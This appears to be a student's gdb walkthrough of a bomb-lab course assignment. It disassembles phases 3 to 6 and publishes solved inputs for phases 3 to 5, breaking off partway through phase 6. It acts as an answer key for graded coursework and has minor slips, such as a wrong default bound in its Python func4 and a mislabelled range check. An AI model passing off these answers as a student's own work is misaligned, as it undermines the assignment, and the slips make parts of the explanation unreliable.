    1674:   48 8d 15 55 1b 00 00    lea    0x1b55(%rip),%rdx        # 31d0 <_IO_stdin_used+0x1d0>
    167b:   48 63 04 82             movslq (%rdx,%rax,4),%rax
    167f:   48 01 d0                add    %rdx,%rax
    1682:   3e ff e0                notrack jmp *%rax
    1685:   e8 c0 06 00 00          call   1d4a <explode_bomb>
    168a:   eb d9                   jmp    1665 <phase_3+0x2d>
    168c:   b8 63 00 00 00          mov    $0x63,%eax
    1691:   81 7c 24 08 3d 02 00    cmpl   $0x23d,0x8(%rsp)
    1698:   00 
    1699:   0f 84 e8 00 00 00       je     1787 <phase_3+0x14f>
    169f:   e8 a6 06 00 00          call   1d4a <explode_bomb>
    16a4:   b8 63 00 00 00          mov    $0x63,%eax
    16a9:   e9 d9 00 00 00          jmp    1787 <phase_3+0x14f>
    16ae:   b8 61 00 00 00          mov    $0x61,%eax
    16b3:   81 7c 24 08 27 01 00    cmpl   $0x127,0x8(%rsp)
    16ba:   00 
    16bb:   0f 84 c6 00 00 00       je     1787 <phase_3+0x14f>
    16c1:   e8 84 06 00 00          call   1d4a <explode_bomb>
    16c6:   b8 61 00 00 00          mov    $0x61,%eax
    16cb:   e9 b7 00 00 00          jmp    1787 <phase_3+0x14f>
    16d0:   b8 78 00 00 00          mov    $0x78,%eax
    16d5:   81 7c 24 08 e7 02 00    cmpl   $0x2e7,0x8(%rsp)
    16dc:   00 
    16dd:   0f 84 a4 00 00 00       je     1787 <phase_3+0x14f>
    16e3:   e8 62 06 00 00          call   1d4a <explode_bomb>
    16e8:   b8 78 00 00 00          mov    $0x78,%eax
    16ed:   e9 95 00 00 00          jmp    1787 <phase_3+0x14f>
    16f2:   b8 64 00 00 00          mov    $0x64,%eax
    16f7:   81 7c 24 08 80 02 00    cmpl   $0x280,0x8(%rsp)
    16fe:   00 
    16ff:   0f 84 82 00 00 00       je     1787 <phase_3+0x14f>
    1705:   e8 40 06 00 00          call   1d4a <explode_bomb>
    170a:   b8 64 00 00 00          mov    $0x64,%eax
    170f:   eb 76                   jmp    1787 <phase_3+0x14f>
    1711:   b8 6d 00 00 00          mov    $0x6d,%eax
    1716:   81 7c 24 08 ff 02 00    cmpl   $0x2ff,0x8(%rsp)
    171d:   00 
    171e:   74 67                   je     1787 <phase_3+0x14f>
    1720:   e8 25 06 00 00          call   1d4a <explode_bomb>
    1725:   b8 6d 00 00 00          mov    $0x6d,%eax
    172a:   eb 5b                   jmp    1787 <phase_3+0x14f>
    172c:   b8 71 00 00 00          mov    $0x71,%eax
    1731:   81 7c 24 08 75 03 00    cmpl   $0x375,0x8(%rsp)
    1738:   00 
    1739:   74 4c                   je     1787 <phase_3+0x14f>
    173b:   e8 0a 06 00 00          call   1d4a <explode_bomb>
    1740:   b8 71 00 00 00          mov    $0x71,%eax
    1745:   eb 40                   jmp    1787 <phase_3+0x14f>
    1747:   b8 79 00 00 00          mov    $0x79,%eax
    174c:   81 7c 24 08 94 02 00    cmpl   $0x294,0x8(%rsp)
    1753:   00 
    1754:   74 31                   je     1787 <phase_3+0x14f>
    1756:   e8 ef 05 00 00          call   1d4a <explode_bomb>
    175b:   b8 79 00 00 00          mov    $0x79,%eax
    1760:   eb 25                   jmp    1787 <phase_3+0x14f>
    1762:   b8 79 00 00 00          mov    $0x79,%eax
    1767:   81 7c 24 08 88 02 00    cmpl   $0x288,0x8(%rsp)
    176e:   00 
    176f:   74 16                   je     1787 <phase_3+0x14f>
    1771:   e8 d4 05 00 00          call   1d4a <explode_bomb>
    1776:   b8 79 00 00 00          mov    $0x79,%eax
    177b:   eb 0a                   jmp    1787 <phase_3+0x14f>
    177d:   e8 c8 05 00 00          call   1d4a <explode_bomb>
    1782:   b8 68 00 00 00          mov    $0x68,%eax
    1787:   38 44 24 07             cmp    %al,0x7(%rsp)
    178b:   75 05                   jne    1792 <phase_3+0x15a>
    178d:   48 83 c4 18             add    $0x18,%rsp
    1791:   c3                      ret    
    1792:   e8 b3 05 00 00          call   1d4a <explode_bomb>
    1797:   eb f4                   jmp    178d <phase_3+0x155>
...
    165b:   e8 80 fc ff ff          call   12e0 <__isoc99_sscanf@plt>
...

We can see that scanf is being called which means we need to figure out what datatype(s) the program is expecting.

Because I do not want to enter the solutions to phases 1 and 2 again and again, I am goig to pass a file which has these solutions.

joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$ gdb -ex 'break phase_3' -ex 'break explode_bomb' -ex 'run' -args ./bomb sol.txt 
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bomb...
Breakpoint 1 at 0x1638
Breakpoint 2 at 0x1d4a
Starting program: /home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb sol.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2.  Keep going!
random string

Breakpoint 1, 0x0000555555555638 in phase_3 ()
(gdb) disas
Dump of assembler code for function phase_3:
=> 0x0000555555555638 <+0>:     endbr64 
   0x000055555555563c <+4>:     sub    $0x18,%rsp
   0x0000555555555640 <+8>:     lea    0x7(%rsp),%rcx
   0x0000555555555645 <+13>:    lea    0xc(%rsp),%rdx
   0x000055555555564a <+18>:    lea    0x8(%rsp),%r8
   0x000055555555564f <+23>:    lea    0x1b60(%rip),%rsi        # 0x5555555571b6
   0x0000555555555656 <+30>:    mov    $0x0,%eax
   0x000055555555565b <+35>:    call   0x5555555552e0 <__isoc99_sscanf@plt>
   0x0000555555555660 <+40>:    cmp    $0x2,%eax
   0x0000555555555663 <+43>:    jle    0x555555555685 <phase_3+77>
   0x0000555555555665 <+45>:    cmpl   $0x7,0xc(%rsp)
   0x000055555555566a <+50>:    ja     0x55555555577d <phase_3+325>
   0x0000555555555670 <+56>:    mov    0xc(%rsp),%eax
   0x0000555555555674 <+60>:    lea    0x1b55(%rip),%rdx        # 0x5555555571d0
   0x000055555555567b <+67>:    movslq (%rdx,%rax,4),%rax
   0x000055555555567f <+71>:    add    %rdx,%rax
   0x0000555555555682 <+74>:    notrack jmp *%rax
   0x0000555555555685 <+77>:    call   0x555555555d4a <explode_bomb>
   0x000055555555568a <+82>:    jmp    0x555555555665 <phase_3+45>
   0x000055555555568c <+84>:    mov    $0x63,%eax
   0x0000555555555691 <+89>:    cmpl   $0x23d,0x8(%rsp)
   0x0000555555555699 <+97>:    je     0x555555555787 <phase_3+335>
   0x000055555555569f <+103>:   call   0x555555555d4a <explode_bomb>
   0x00005555555556a4 <+108>:   mov    $0x63,%eax
   0x00005555555556a9 <+113>:   jmp    0x555555555787 <phase_3+335>
--Type <RET> for more, q to quit, c to continue without paging--

gdb has thankfully marked the address which is being passed to scanf. We can access the value:

(gdb) x/1s 0x5555555571b6
0x5555555571b6: "%d %c %d"
(gdb) 

BINGO! The program expects an integer, character, and another integer. Onwards.

   0x0000555555555660 <+40>:    cmp    $0x2,%eax
   0x0000555555555663 <+43>:    jle    0x555555555685 <phase_3+77>
...
   0x0000555555555685 <+77>:    call   0x555555555d4a <explode_bomb>

The program checks whether scanf returns a value <= 2, if it does then it calls the explode_bomb function.

Note: scanf returns the number of fields that were successfully converted and assigned

   0x0000555555555665 <+45>:    cmpl   $0x7,0xc(%rsp)
   0x000055555555566a <+50>:    ja     0x55555555577d <phase_3+325>
...
   0x000055555555577d <+325>:   call   0x555555555d4a <explode_bomb>

Similarly, the program checks and ensures the returned value is not > 7.

   0x0000555555555670 <+56>:    mov    0xc(%rsp),%eax
   0x0000555555555674 <+60>:    lea    0x1b55(%rip),%rdx        # 0x5555555571d0
   0x000055555555567b <+67>:    movslq (%rdx,%rax,4),%rax
   0x000055555555567f <+71>:    add    %rdx,%rax
   0x0000555555555682 <+74>:    notrack jmp *%rax
   0x0000555555555685 <+77>:    call   0x555555555d4a <explode_bomb>
  • 0x0000555555555670 <+56>: mov 0xc(%rsp),%eax - Moves value located at 0xc (12 in Decimal) bytes above the stack pointer to %eax register.
  • 0x0000555555555674 <+60>: lea 0x1b55(%rip),%rdx # 0x5555555571d0 - This instruction calculates an effective address by adding 0x1b55 to the current instruction pointer (%rip). The result is stored in the %rdx register.
  • 0x000055555555567b <+67>: movslq (%rdx,%rax,4),%rax
    • movslq stands for "move with sign-extension from a 32-bit value to a 64-bit value." (if the 32-bit value is negative, the 64-bit result will have all its upper 32 bits set to 1; otherwise, they'll be set to 0).
    • (%rdx,%rax,4) - First start with the value in the %rdx register, then add to it the value in the %rax register multiplied by 4.
    • %rax - Destination Register
  • 0x000055555555567f <+71>: add %rdx,%rax - Adds base address in %rdx to the offset in %rax
  • 0x0000555555555682 <+74>: notrack jmp *%rax - Jumps to the address stored in %rax
  • 0x0000555555555685 <+77>: call 0x555555555d4a <explode_bomb> - If we are unable to jump to the specified instruction, call explode_bomb

Let us try to run the program again with a valid input for the first number and see what the program is computing for the address.

I used the input: 3 c 123.

To check what is the computed address, we can switch to the asm layout by running layout asm, and then going through instructions ni or si until we reach the line movslq (%rdx,%rax,4),%rax

%rax should hold the value 3.

(gdb) print $rax
$1 = 3

Screenshot of GDB terminal depicting us checking the value of the instruction to be jumped to

We can see that this makes us jump to <phase_3+186> (Continue to step through the code by using ni)

   0x00005555555556f2 <+186>:   mov    $0x64,%eax
   0x00005555555556f7 <+191>:   cmpl   $0x280,0x8(%rsp)
   0x00005555555556ff <+199>:   je     0x555555555787 <phase_3+335>
   0x0000555555555705 <+205>:   call   0x555555555d4a <explode_bomb>

We see that 0x64 (Decimal 100) is being stored in %eax. Then, the program compares 0x280 (Decimal 640) with memory address 0x8 bytes above the stack pointer (%rsp). If the values are equal, then it jumps to <phase_3+335>, otherwise explode_bomb is called.

   0x0000555555555787 <+335>:   cmp    %al,0x7(%rsp)
   0x000055555555578b <+339>:   jne    0x555555555792 <phase_3+346>
   0x000055555555578d <+341>:   add    $0x18,%rsp
   0x0000555555555791 <+345>:   ret    
   0x0000555555555792 <+346>:   call   0x555555555d4a <explode_bomb>

Here, the program is comparing the value of our given character to the value stored in %al (lower 8 bits of EAX), and checks if they are not equal.

Knowing that the character is stored at an offset of 7 bytes to %rsp, we can print and check the value by running:

(gdb) x/1cw $rsp+7
c
(gdb) print $al
$1 = 100

We can simply lookup the ASCII table, and see that 100 in decimal stands for the character d. Let us try this answer:

...
That's number 2.  Keep going!
3 d 640

Breakpoint 1, 0x0000555555555638 in phase_3 ()
(gdb) continue
Continuing.
Halfway there!

Phase 4

joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$ gdb -ex 'break phase_4' -ex 'break explode_bomb' -ex 'run' -args ./bomb sol.txt 
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bomb...
Breakpoint 1 at 0x17d3
Breakpoint 2 at 0x1d4a
Starting program: /home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb sol.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2.  Keep going!
Halfway there!
test string

Breakpoint 1, 0x00005555555557d3 in phase_4 ()
(gdb) disas phase_4
Dump of assembler code for function phase_4:
=> 0x00005555555557d3 <+0>:     endbr64 
   0x00005555555557d7 <+4>:     sub    $0x18,%rsp
   0x00005555555557db <+8>:     lea    0x8(%rsp),%rcx
   0x00005555555557e0 <+13>:    lea    0xc(%rsp),%rdx
   0x00005555555557e5 <+18>:    lea    0x1bba(%rip),%rsi        # 0x5555555573a6
   0x00005555555557ec <+25>:    mov    $0x0,%eax
   0x00005555555557f1 <+30>:    call   0x5555555552e0 <__isoc99_sscanf@plt>
   0x00005555555557f6 <+35>:    cmp    $0x2,%eax
   0x00005555555557f9 <+38>:    jne    0x555555555802 <phase_4+47>
   0x00005555555557fb <+40>:    cmpl   $0xe,0xc(%rsp)
   0x0000555555555800 <+45>:    jbe    0x555555555807 <phase_4+52>
   0x0000555555555802 <+47>:    call   0x555555555d4a <explode_bomb>
   0x0000555555555807 <+52>:    mov    $0xe,%edx
   0x000055555555580c <+57>:    mov    $0x0,%esi
   0x0000555555555811 <+62>:    mov    0xc(%rsp),%edi
   0x0000555555555815 <+66>:    call   0x555555555799 <func4>
   0x000055555555581a <+71>:    cmp    $0x2,%eax
   0x000055555555581d <+74>:    jne    0x555555555826 <phase_4+83>
   0x000055555555581f <+76>:    cmpl   $0x2,0x8(%rsp)
   0x0000555555555824 <+81>:    je     0x55555555582b <phase_4+88>
   0x0000555555555826 <+83>:    call   0x555555555d4a <explode_bomb>
   0x000055555555582b <+88>:    add    $0x18,%rsp
   0x000055555555582f <+92>:    ret    
End of assembler dump.
(gdb) 

Again, gdb has marked the string being passed to scanf

(gdb) x/1s 0x5555555573a6
0x5555555573a6: "%d %d"

Okay, so this time we are supposed to enter 2 numbers.

   0x00005555555557f6 <+35>:    cmp    $0x2,%eax
   0x00005555555557f9 <+38>:    jne    0x555555555802 <phase_4+47>

Checks if there were 2 values read from calling scanf, if not -> jump to <phase_4+47> which calls <explode_bomb>.

   0x00005555555557fb <+40>:    cmpl   $0xe,0xc(%rsp)
   0x0000555555555800 <+45>:    jbe    0x555555555807 <phase_4+52>

Compare 0xe (14 in Decimal) and value stored at $rsp + 0xc bytes (Decimal 12). If this condition is met (<= 14), jump to <phase_4+52>. If not, then explode bomb.

...
   0x0000555555555807 <+52>:    mov    $0xe,%edx
   0x000055555555580c <+57>:    mov    $0x0,%esi
   0x0000555555555811 <+62>:    mov    0xc(%rsp),%edi
   0x0000555555555815 <+66>:    call   0x555555555799 <func4>
   0x000055555555581a <+71>:    cmp    $0x2,%eax
   0x000055555555581d <+74>:    jne    0x555555555826 <phase_4+83>
   0x000055555555581f <+76>:    cmpl   $0x2,0x8(%rsp)
   0x0000555555555824 <+81>:    je     0x55555555582b <phase_4+88>
   0x0000555555555826 <+83>:    call   0x555555555d4a <explode_bomb>
  • 0x0000555555555815 <+66>: call 0x555555555799 <func4> calls another function called func4
  • The returned value is compared with 0x2, if they are not equal then the program jumps to call <explode_bomb>. This tells us that func4 should return 2.

Let us look into func4

(gdb) disas func4
Dump of assembler code for function func4:
   0x0000555555555799 <+0>:     endbr64 
   0x000055555555579d <+4>:     sub    $0x8,%rsp
   0x00005555555557a1 <+8>:     mov    %edx,%ecx
   0x00005555555557a3 <+10>:    sub    %esi,%ecx
   0x00005555555557a5 <+12>:    shr    %ecx
   0x00005555555557a7 <+14>:    add    %esi,%ecx
   0x00005555555557a9 <+16>:    cmp    %edi,%ecx
   0x00005555555557ab <+18>:    ja     0x5555555557b9 <func4+32>
   0x00005555555557ad <+20>:    mov    $0x0,%eax
   0x00005555555557b2 <+25>:    jb     0x5555555557c5 <func4+44>
   0x00005555555557b4 <+27>:    add    $0x8,%rsp
   0x00005555555557b8 <+31>:    ret    
   0x00005555555557b9 <+32>:    lea    -0x1(%rcx),%edx
   0x00005555555557bc <+35>:    call   0x555555555799 <func4>
   0x00005555555557c1 <+40>:    add    %eax,%eax
   0x00005555555557c3 <+42>:    jmp    0x5555555557b4 <func4+27>
   0x00005555555557c5 <+44>:    lea    0x1(%rcx),%esi
   0x00005555555557c8 <+47>:    call   0x555555555799 <func4>
   0x00005555555557cd <+52>:    lea    0x1(%rax,%rax,1),%eax
   0x00005555555557d1 <+56>:    jmp    0x5555555557b4 <func4+27>

This looks like a recursive function :( (I hate recursive functions)

Let's annotate the instructions.

endbr64
sub $0x8,%rsp  // subtract 8 bytes from the stack pointer
mov %edx,%ecx  // Move the value in register %edx to %ecx
sub %esi,%ecx  // Subtract the value in %esi from %ecx
shr %ecx       // Right shift the value in %ecx by one bit (dividing the value by 2)
add %esi,%ecx  // Add the value in %esi to %ecx
cmp %edi,%ecx  // Compare
ja 0x5555555557b9 <func4+32> // If %ecx > %edi -> jump to instruction at offset +32
mov $0x0,%eax  // Move 0 to %eax
jb 0x5555555557c5 <func4+44> // If %ecx < %edi -> jump to instruction at offset +44.
add $0x8,%rsp  // add 8 bytes to the stack pointer
ret            // return
lea -0x1(%rcx),%edx // LEA of $rxc - 1 into $edx
call 0x555555555799 <func4> // Call itself
add %eax,%eax  // Double the value in %eax
jmp 0x5555555557b4 <func4+27> // jump to the instruction at offset +27
lea 0x1(%rcx),%esi
call 0x555555555799 <func4>
lea 0x1(%rax,%rax,1),%eax // LEA of %rax * 2 + 1 into $eax 
jmp 0x5555555557b4 <func4+27>

We can either try to compute the values by hand, or write a simple script in Python to get the answer.

def func4(edi, esi=0, edx=20):
    ecx = (edx - esi) // 2 + esi
    if ecx > edi:
        return 2 * func4(edi, esi, ecx - 1)
    elif ecx < edi:
        return 2 * func4(edi, ecx + 1, edx) + 1
    else:
        return 0

for x in range(15): # We can limit to 14
   if func4(x) == 2:
      print(f"answer is {x}")
      break

Running this code, we get: answer is 5

Okay, so we know that the number needed to be passed to func4 is 5. But, what about the second digit?

If we go back to the code for <phase_4>, we can see that:

   0x000055555555581f <+76>:    cmpl   $0x2,0x8(%rsp)
   0x0000555555555824 <+81>:    je     0x55555555582b <phase_4+88>

The value at $rsp+8 should be equal to 2. So, let us try passing 5 2 as our input.

...
Phase 1 defused. How about the next one?
That's number 2.  Keep going!
Halfway there!
5 2

Breakpoint 1, 0x00005555555557d3 in phase_4 ()
(gdb) continue
Continuing.
So you got that one.  Try this one.

Phase 5

So you got that one.  Try this one.
test string

Breakpoint 1, 0x0000555555555830 in phase_5 ()
(gdb) disas phase_5
Dump of assembler code for function phase_5:
=> 0x0000555555555830 <+0>:     endbr64 
   0x0000555555555834 <+4>:     push   %rbx
   0x0000555555555835 <+5>:     sub    $0x10,%rsp
   0x0000555555555839 <+9>:     mov    %rdi,%rbx
   0x000055555555583c <+12>:    call   0x555555555b10 <string_length>
   0x0000555555555841 <+17>:    cmp    $0x6,%eax
   0x0000555555555844 <+20>:    jne    0x55555555588b <phase_5+91>
   0x0000555555555846 <+22>:    mov    $0x0,%eax
   0x000055555555584b <+27>:    lea    0x199e(%rip),%rcx        # 0x5555555571f0 <array.0>
   0x0000555555555852 <+34>:    movzbl (%rbx,%rax,1),%edx
   0x0000555555555856 <+38>:    and    $0xf,%edx
   0x0000555555555859 <+41>:    movzbl (%rcx,%rdx,1),%edx
   0x000055555555585d <+45>:    mov    %dl,0x9(%rsp,%rax,1)
   0x0000555555555861 <+49>:    add    $0x1,%rax
   0x0000555555555865 <+53>:    cmp    $0x6,%rax
   0x0000555555555869 <+57>:    jne    0x555555555852 <phase_5+34>
   0x000055555555586b <+59>:    movb   $0x0,0xf(%rsp)
   0x0000555555555870 <+64>:    lea    0x9(%rsp),%rdi
   0x0000555555555875 <+69>:    lea    0x1943(%rip),%rsi        # 0x5555555571bf
   0x000055555555587c <+76>:    call   0x555555555b31 <strings_not_equal>
   0x0000555555555881 <+81>:    test   %eax,%eax
   0x0000555555555883 <+83>:    jne    0x555555555892 <phase_5+98>
   0x0000555555555885 <+85>:    add    $0x10,%rsp
   0x0000555555555889 <+89>:    pop    %rbx
   0x000055555555588a <+90>:    ret    
   0x000055555555588b <+91>:    call   0x555555555d4a <explode_bomb>
   0x0000555555555890 <+96>:    jmp    0x555555555846 <phase_5+22>
   0x0000555555555892 <+98>:    call   0x555555555d4a <explode_bomb>
   0x0000555555555897 <+103>:   jmp    0x555555555885 <phase_5+85>
End of assembler dump.
(gdb) 
...
   0x000055555555583c <+12>:    call   0x555555555b10 <string_length>
   0x0000555555555841 <+17>:    cmp    $0x6,%eax
   0x0000555555555844 <+20>:    jne    0x55555555588b <phase_5+91>
...
   0x000055555555588b <+91>:    call   0x555555555d4a <explode_bomb>
...

First things first, these instructions check to make sure the passed string is of length 6, otherwise explode_bomb is called.

We can also see a similar pattern compared to Phase 2, where we had a loop:

  • The looping part:
    • mov $0x0,%eax - Initialise %eax and set it to 0 (our counter/iterator)
    • movzbl (%rbx,%rax,1),%edx - Access %rbx + 1 * %rax and store it in %edx
    • and $0xf,%edx - Take the least significant 4 bits of the byte.
    • movzbl (%rcx,%rdx,1),%edx - Use the 4 bits as an index into another array and load the corresponding byte into %edx
    • mov %dl,0x9(%rsp,%rax,1) - Store the transformed byte into a buffer on the stack
    • add $0x1,%rax - Increment %rax
    • cmp $0x6,%rax - If the index is not yet 6, loop again
  • movb $0x0,0xf(%rsp) - Null-terminate the transformed string
  • lea 0x9(%rsp),%rdi and lea 0x1943(%rip),%rsi
  • all 0x555555555b31 <strings_not_equal> check if the two strings loaded up just before this are equal or not.

We can check the reference string we need, which gdb has marked as # 0x5555555571bf, and the lookup table marked as # 0x5555555571f0 <array.0>

(gdb) x/s 0x5555555571bf
0x5555555571bf: "bruins"
(gdb) x/s 0x5555555571f0
0x5555555571f0 <array.0>:       "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
(gdb) 

To summarize the transformation process:

  • The function takes each byte of the string
  • It keeps only the least significant 4 bits of each byte
  • It uses these 4 bits as an index into the lookup table (array.0)
  • The value from the array is then stored in a buffer

Here's how the transformation process can be reversed for each character in "bruins": 1. Find the index of b in the lookup table (in our case, it is 13 since we index starting 0) 2. Calculate binary representation of this index (in our case 13 can be written as 1101 in binary) 3. Find ASCII character whose least significant 4 bits match (in our case, m has binary representation 01101101)

Repeat for all 6 characters

Hint: Using an ASCII - Binary Table can save you time.

Thus, we can have the following transformation:

b -> m
r -> f 
u -> c
i -> d
n -> h
s -> g

Let us try out this answer:

...
That's number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
mfcdhg

Breakpoint 1, 0x0000555555555830 in phase_5 ()
(gdb) continue
Continuing.
Good work!  On to the next...

Awesome!

Phase 6

Good work!  On to the next...
test string

Breakpoint 1, 0x0000555555555899 in phase_6 ()
(gdb) disas phase_6
Dump of assembler code for function phase_6:
=> 0x0000555555555899 <+0>:     endbr64 
   0x000055555555589d <+4>:     push   %r15
   0x000055555555589f <+6>:     push   %r14
   0x00005555555558a1 <+8>:     push   %r13
   0x00005555555558a3 <+10>:    push   %r12
   0x00005555555558a5 <+12>:    push   %rbp
   0x00005555555558a6 <+13>:    push   %rbx
   0x00005555555558a7 <+14>:    sub    $0x68,%rsp
   0x00005555555558ab <+18>:    lea    0x40(%rsp),%rax
   0x00005555555558b0 <+23>:    mov    %rax,%r14
   0x00005555555558b3 <+26>:    mov    %rax,0x8(%rsp)
   0x00005555555558b8 <+31>:    mov    %rax,%rsi
   0x00005555555558bb <+34>:    call   0x555555555d97 <read_six_numbers>
   0x00005555555558c0 <+39>:    mov    %r14,%r12
   0x00005555555558c3 <+42>:    mov    $0x1,%r15d
   0x00005555555558c9 <+48>:    mov    %r14,%r13
   0x00005555555558cc <+51>:    jmp    0x555555555997 <phase_6+254>
   0x00005555555558d1 <+56>:    call   0x555555555d4a <explode_bomb>
   0x00005555555558d6 <+61>:    jmp    0x5555555559a9 <phase_6+272>
   0x00005555555558db <+66>:    add    $0x1,%rbx
   0x00005555555558df <+70>:    cmp    $0x5,%ebx
   0x00005555555558e2 <+73>:    jg     0x55555555598f <phase_6+246>
   0x00005555555558e8 <+79>:    mov    0x0(%r13,%rbx,4),%eax
   0x00005555555558ed <+84>:    cmp    %eax,0x0(%rbp)
   0x00005555555558f0 <+87>:    jne    0x5555555558db <phase_6+66>
   0x00005555555558f2 <+89>:    call   0x555555555d4a <explode_bomb>
   0x00005555555558f7 <+94>:    jmp    0x5555555558db <phase_6+66>
   0x00005555555558f9 <+96>:    mov    0x8(%rsp),%rdx
   0x00005555555558fe <+101>:   add    $0x18,%rdx
   0x0000555555555902 <+105>:   mov    $0x7,%ecx
   0x0000555555555907 <+110>:   mov    %ecx,%eax
   0x0000555555555909 <+112>:   sub    (%r12),%eax
   0x000055555555590d <+116>:   mov    %eax,(%r12)
   0x0000555555555911 <+120>:   add    $0x4,%r12
   0x0000555555555915 <+124>:   cmp    %r12,%rdx
   0x0000555555555918 <+127>:   jne    0x555555555907 <phase_6+110>
   0x000055555555591a <+129>:   mov    $0x0,%esi
   0x000055555555591f <+134>:   mov    0x40(%rsp,%rsi,4),%ecx
   0x0000555555555923 <+138>:   mov    $0x1,%eax
   0x0000555555555928 <+143>:   lea    0x3d01(%rip),%rdx        # 0x555555559630 <node1>
--Type <RET> for more, q to quit, c to continue without paging--
   0x000055555555592f <+150>:   cmp    $0x1,%ecx
   0x0000555555555932 <+153>:   jle    0x55555555593f <phase_6+166>
   0x0000555555555934 <+155>:   mov    0x8(%rdx),%rdx
   0x0000555555555938 <+159>:   add    $0x1,%eax
   0x000055555555593b <+162>:   cmp    %ecx,%eax
   0x000055555555593d <+164>:   jne    0x555555555934 <phase_6+155>
   0x000055555555593f <+166>:   mov    %rdx,0x10(%rsp,%rsi,8)
   0x0000555555555944 <+171>:   add    $0x1,%rsi
   0x0000555555555948 <+175>:   cmp    $0x6,%rsi
   0x000055555555594c <+179>:   jne    0x55555555591f <phase_6+134>
   0x000055555555594e <+181>:   mov    0x10(%rsp),%rbx
   0x0000555555555953 <+186>:   mov    0x18(%rsp),%rax
   0x0000555555555958 <+191>:   mov    %rax,0x8(%rbx)
   0x000055555555595c <+195>:   mov    0x20(%rsp),%rdx
   0x0000555555555961 <+200>:   mov    %rdx,0x8(%rax)
   0x0000555555555965 <+204>:   mov    0x28(%rsp),%rax
   0x000055555555596a <+209>:   mov    %rax,0x8(%rdx)
   0x000055555555596e <+213>:   mov    0x30(%rsp),%rdx
   0x0000555555555973 <+218>:   mov    %rdx,0x8(%rax)
   0x0000555555555977 <+222>:   mov    0x38(%rsp),%rax
   0x000055555555597c <+227>:   mov    %rax,0x8(%rdx)
   0x0000555555555980 <+231>:   movq   $0x0,0x8(%rax)
   0x0000555555555988 <+239>:   mov    $0x5,%ebp
   0x000055555555598d <+244>:   jmp    0x5555555559c4 <phase_6+299>
   0x000055555555598f <+246>:   add    $0x1,%r15
   0x0000555555555993 <+250>:   add    $0x4,%r14
   0x0000555555555997 <+254>:   mov    %r14,%rbp
   0x000055555555599a <+257>:   mov    (%r14),%eax
   0x000055555555599d <+260>:   sub    $0x1,%eax
   0x00005555555559a0 <+263>:   cmp    $0x5,%eax
   0x00005555555559a3 <+266>:   ja     0x5555555558d1 <phase_6+56>
   0x00005555555559a9 <+272>:   cmp    $0x5,%r15d
   0x00005555555559ad <+276>:   jg     0x5555555558f9 <phase_6+96>
   0x00005555555559b3 <+282>:   mov    %r15,%rbx
   0x00005555555559b6 <+285>:   jmp    0x5555555558e8 <phase_6+79>
   0x00005555555559bb <+290>:   mov    0x8(%rbx),%rbx
   0x00005555555559bf <+294>:   sub    $0x1,%ebp
   0x00005555555559c2 <+297>:   je     0x5555555559d5 <phase_6+316>
   0x00005555555559c4 <+299>:   mov    0x8(%rbx),%rax
   0x00005555555559c8 <+303>:   mov    (%rax),%eax
   0x00005555555559ca <+305>:   cmp    %eax,(%rbx)
--Type <RET> for more, q to quit, c to continue without paging--
   0x00005555555559cc <+307>:   jge    0x5555555559bb <phase_6+290>
   0x00005555555559ce <+309>:   call   0x555555555d4a <explode_bomb>
   0x00005555555559d3 <+314>:   jmp    0x5555555559bb <phase_6+290>
   0x00005555555559d5 <+316>:   add    $0x68,%rsp
   0x00005555555559d9 <+320>:   pop    %rbx
   0x00005555555559da <+321>:   pop    %rbp
   0x00005555555559db <+322>:   pop    %r12
   0x00005555555559dd <+324>:   pop    %r13
   0x00005555555559df <+326>:   pop    %r14
   0x00005555555559e1 <+328>:   pop    %r15
   0x00005555555559e3 <+330>:   ret    
End of assembler dump.
(gdb) 

Again, we see the familiar read_six_digits function.

Let us analyse this function in chunks:

   0x00005555555558bb <+34>:    call   0x555555555d97 <read_six_numbers>
   0x00005555555558c0 <+39>:    mov    %r14,%r12
   0x00005555555558c3 <+42>:    mov    $0x1,%r15d
   0x00005555555558c9 <+48>:    mov    %r14,%r13
   0x00005555555558cc <+51>:    jmp    0x555555555997 <phase_6+254>
  1. Read six numbers
  2. Initialise Registers: 2.1. mov %r14,%r12: %r14 should be pointing to the location of the stack where the numbers were read into. This address is copied onto %r12 2.2. mov $0x1,%r15d: The value 1 is moved into %r15 register (probably acting like a counter) 2.3. mov %r14,%r13: The value is also copied to %r13
  3. Jump to start of loop:
   0x0000555555555997 <+254>:   mov    %r14,%rbp
   0x000055555555599a <+257>:   mov    (%r14),%eax
   0x000055555555599d <+260>:   sub    $0x1,%eax
   0x00005555555559a0 <+263>:   cmp    $0x5,%eax
   0x00005555555559a3 <+266>:   ja     0x5555555558d1 <phase_6+56>
